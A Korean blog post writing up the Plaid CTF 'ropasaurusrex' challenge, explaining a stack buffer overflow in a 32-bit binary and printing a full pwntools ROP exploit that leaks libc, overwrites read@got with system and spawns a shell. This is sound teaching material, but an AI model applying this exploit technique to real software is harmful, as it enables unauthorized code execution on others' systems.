ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Plaid CTF] Ropasaurusrex Write-up
    표튜터와 함께하는 Pwnable/CTF Write-up 2019.02.12 06:55

    잘못된점이나 이상한게 있다면 댓글부탁드립니다.



    제일 처음에 써서 그런지 이전에 썼던 ropasaurusrex Write-up이

     수정할 것도 많고 두서가 없어서 다시 써보았다.

    32bit 바이너리에서 ROP를 이용하여 풀이하는 기본적인 문제이다.




    우선 프로그램에 어떤 mtigation이 걸려있는지를 확인해보았다.

    ELF 32bit 파일이었으며 Dynamically linked를 사용하고 있었다.

    또한 NX mitigation이 걸려있었기 때문에 메모리의 실행권한은 없어져 있었다.

    또한 stripped로 symbol이 지워져있음을 알게되었다.



    우선 프로그램을 실행해서 어떤 프로그램인지 확인해보았다.

    문자열을 입력받고 나면 "WIN"이라는 문자열이 출력되는 프로그램이었다.

    그러므로 입력을 받는 부분을 이용하여 공격을 할 것이라고 예상하였다.





    조금 더 자세히 분석해보기위해서 IDA를 이용해보았다.

    아주 간단한 main()함수였고

    sub_80483f4()라는 함수가 보였다.

    입력을 통해 공격을 진행할 것이라고 예상했기 때문에

    저 함수에 틀림없이 버퍼와 입력에 관련된 내용이 있을 것이라고 생각했다.




    함수를 보니 136크기의 버퍼와 read함수가 보였다.

    하지만 read함수가 입력받는 크기가 256으로 버퍼의 크기보다 훨씬 컸다.

    그러므로 버퍼오버플로우가 일어날 수 있는 취약점을 가진 것을 알 수 있었다.



    gdb를 이용해서 disas main으로 어셈블러 코드를 보려고 하였으나

    symbol이 지워져있으므로 가능하지 않았다.



    (참고 : 만약 main함수의 주소를 알고 싶다면 IDA를 켜도되지만

    아래와 같이 ltrace를 사용해도 찾을 수 있다.)




    이 문제에서 굳이 disas를 하지 않아도 되지만

    만약 보고싶다면  pd 주소값  을 이용해서 어셈블러로 볼 수 있다.

    ("x/i 주소"를 이용해도 된다.)

    main를 보니 0x80483f4를 호출하는 것을 볼 수 있었고

    이 주소는 sub_80483f4() 함수를 호출하는 주소라는 것을 알 수 있었다.

    그래서 맞는지 확인해보았다.



    sub_8043f4() 함수를 호출한다는 것을 확인하였다.


    (IDA로도 비교해보았다.)




    여기까지 분석했을 때 들었던 생각은 read 함수와 write함수, Buffer Overflow

    그리고 plt와 got, system함수, bss영역, gadget, 함수 offset, libc_base, got overwrite 이용하여

    즉, ROP를 해서 풀면 되겠다는 생각이 들었다.



    그리고 필요한 것들을 생각하며 payload를 먼저 그림으로 구상해보았다..

    이제 그림을 바탕으로 차근차근 ROP에 필요한 정보를 모아보도록 하겠다.



    우선 140개의 값으로 오버플로우를 일으켜 ret가 덮히는지 확인해보겠다.

    segmantation fault가 일어났고 core파일이 생성되었다.




    우리가 ret에 임의로 넣어놓은 "bbbb"가 보였다.

    그러므로 buffer overflow가 일어남을 알 수 있었다.




    다음으로는 read@plt와 write@plt를 구해보도록 하겠다.

    명령어로 구하는 방법말고


    gdb에서 info func함수를 이용해도 확인이 가능했다.

    이렇게 명령어를 통해 구할 수도 있지만


    IDA를 이용하여 바이너리를 열면 바로 보여준다.





    다음으로는 함수의 offset을 구해보도록 하겠다.

    offset을 구하는 이유는 libc_base과 함수의 거리차이가 함수의 offset과 같기 때문이다.

    그렇기 때문에 libc_base = 함수의 got - 함수의 offset 공식이 성립힌다.

    offset을 구하는 더 정확한 이유는 뒤에서 설명하겠다.


    그렇기 위해서는 어떠한 libc를 사용하는지 봐야하고



    구한 libc에서 함수의 offset을 탐색한다.





    이런식으로 offset을 모두 구했다. 

    (이번 풀이에서는 write의 offset을 사용하지 않지만 그냥 구해보았다.)





    다음으로는 인자를 넘겨줄 gadget을 구해보겠다.

    read와 write함수의 인자가 3개임으로

    pop,pop,pop,ret gadget(pppr)을 구하면된다



    이번에는 각 함수들의 got를 구해보겠다.

    이렇게 명령어로 간단하게 구할 수도 있지만


    plt를 따라가서 구할 수도 있다.

    하지만 우리는 여기서 got값이 plt+6을 가리키고 있음을 보게된다. 

    그 이유는 처음의 got가 실제주소를 참고하고 있지 않기 때문이다.

    (got는 resolve와 fixup 그리고 lookup을 통해 실제주소를 참조한다.

    이 부분은 plt와 got를 알아야함으로 다음 포스팅에서 진행하겠다.)



    got는 (global offset table)로 plt가 참조하는 테이블이다.

    그러므로 이 got는 함수의 실제주소를 가지고 있으므로 필요하다.

    방금 설명한대로 실제주소에서 offset값을 빼서  libc_base를 구하기위해 찾아줘야한다.


    다음으로는 BSS영역의 주소를 구할 것인데 그 이유는

    NX mitigation으로 인하여 메모리는 실행권한이 없다.

    하지만 공유라이브러리에는 실행권한이 있기 때문에

    우리는 "/bin/sh\x00"를 ASLR이 걸려있지 않은 영역인 BSS영역에 넣고

    공유라이브러리에 있는 실행권한을 가진 system함수를 이용할 것이다. 

    그러므로 필요한 BSS영역의 주소를 구해보자

    objdump -x 바이너리 명령어를 이용하여 구할 수도 있고



    이렇게도 구할 수 있다.



    이제 우리가 필요한 것은 다 구했다.

    위의 구한 것과 아까보여준 그림을 참조하여 payload를 만들어보았다.

    payload의 원리는 다음과 같다.


    우선 버퍼와 sfp를 덮는 크기인 140의 크기의 문자들로 buffer overflow를 일으킨다.

    그 다음 write@plt함수를 이용하는데 pppr gadget을 이용하여 인자를 담아준다.

    fd = 1 (출력), read@got, 4(주소의 크기)

    이렇게해서 우리는 read의 실제주소를 알아낼 수 있다.

    payload에서는 이렇게 알아온 read@got를 recv로 받아서

    미리 구해놓았던 read offset과 빼기를 진행하여 libc_base를 구해준다.

    또한 구한 libc_base에서 system함수의 offset을 더하여

    system함수의 실제주소를 알아낸다.

    (여기서 write@plt가 sub_80483f함수의 ret인 이유는

     버퍼가 선언된 함수가 sub_80483f()함수라서 그렇다)


    다음으로는 read@plt를 호출해주고

    역시나 pppr gadget을 이용하여 인자를 넣어준다.

    fd = 0(입력), bss영역의주소,, "/bin/sh\x00"의 길이

    이렇게 하는 이유는 위에서 설명한대로 bss영역에 "/bin/sh\x00"를 넣기 위함이다.

    payload에서 send() 함수를 이용해서 "/bin/sh\x00"를 입력해준다.



    다음에 나오는 read@plt 역시 pppr gadget으로 인자를 넣어준다.

    fd = 0 (입력), read@got, 4(주소의 크기)

    여기서 인자로 read@got를 주는 이유는 got overwrite를 하기 위해서이다.

    payload에서 sendline() 함수를 이용하여 system의 실제주소 값을 주게되면

    read@got가 system함수의 실제주소로 바뀌어

    다음에 read함수를 호출 시 system함수가 호출되게된다.


    마지막으로 read@plt를 호출하게되면

    read가 아닌 system이 호출됨으로

    인자로 아까 "/bin/sh\x00"를 넣어놨던 bss영역의 주소를 주면 된다.

    그렇게 되면 system("/bin/sh\x00")이 실행되어 쉘을 딸 수 있게 된다.

    dummy를 준 이유는 마지막 ret(read@plt의 ret)를 굳이 정해줄 필요가 없어서이다.



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    from pwn import *
     
     
    read_plt  = 0x0804832c
    read_offset  = 0x000d5b00
    read_got  = 0x0804961c
    write_plt   = 0x0804830c
    bss   = 0x08049628
    pppr  = 0x080484b6
    system_offset = 0x0003ada0
     
    bin_sh = "/bin/sh\x00"
     
    = process("./ropasaurusrex")
     
    script = """
    b*0x804841c
    """
     
    #gdb.attach(p,script)
     
    #buffer overflow
    payload = "a"*140
     
     
    #find libc_base & find system_addr
    payload += p32(write_plt)
    payload += p32(pppr)
    payload += p32(1)
    payload += p32(read_got)
    payload += p32(4)
     
    #insert "/binsh\x00" in bss space
    payload += p32(read_plt)
    payload += p32(pppr)
    payload += p32(0)
    payload += p32(bss)
    payload += p32(len(bin_sh))
     
    #got overwrite  read_got -> system_addr
    payload += p32(read_plt)
    payload += p32(pppr)
    payload += p32(0)
    payload += p32(read_got)
    payload += p32(4)
     
    #operation system function
    payload += p32(read_plt)
    payload += "aaaa"
    payload += p32(bss)
     
    p.sendline(payload)
    read_addr =u32(p.recv(4))
     
    libc_base = read_addr - read_offset 
    print "libc_base = "+hex(libc_base)
    system_addr = libc_base + system_offset
    print "system addr = "+hex(system_addr)
     
    p.send(bin_sh)
    p.sendline(p32(system_addr))
    p.interactive()



    쉘을 딴 화면이다.



    댓글 0

Designed by Tistory.